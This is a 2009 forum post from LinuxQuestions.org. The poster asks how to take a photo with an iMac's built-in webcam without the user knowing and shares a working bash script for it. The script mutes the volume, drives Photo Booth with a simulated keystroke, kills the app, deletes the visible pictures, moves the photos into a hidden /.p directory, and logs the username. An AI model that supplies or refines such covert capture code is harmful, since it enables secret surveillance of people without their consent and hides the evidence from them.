LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Other *NIX (https://www.linuxquestions.org/questions/other-%2Anix-55/)
-   -   Way to snap a photo using the built in webcam (https://www.linuxquestions.org/questions/other-%2Anix-55/way-to-snap-a-photo-using-the-built-in-webcam-767733/)

Bone11409 11-08-2009 12:12 PM

Way to snap a photo using the built in webcam
 
I am looking for a way to snap a photo without the user knowing using the built in webcam in a Imac. The way I have been doing it work's fine but I am using photo booth which give's them time to move out of the way.




#!/bin/bash

rm -fr ~/Pictures/Photo\ Booth/*;
osascript -e "set Volume 0";
sleep 5;

open /Applications/Photo\ Booth.app;
osascript -e'tell application "System Events" to keystroke return';

sleep 5;
killall "Photo Booth";

if [ -d /.p ];then
echo
else
mkdir /.p
fi
cd ~/Pictures/Photo\ Booth
folders=$(ls)

mv ~/Pictures/Photo\ Booth/* /.p
rm -rf ~/Pictures/Photo\ Booth/*
user=$(whoami)
if [ -f /.p/user.txt ];then
echo $user >> /.p/user.txt @ "$folders"
else
echo $user > /.p/user.txt @ "$folders"
fi


All times are GMT -5. The time now is 03:06 AM.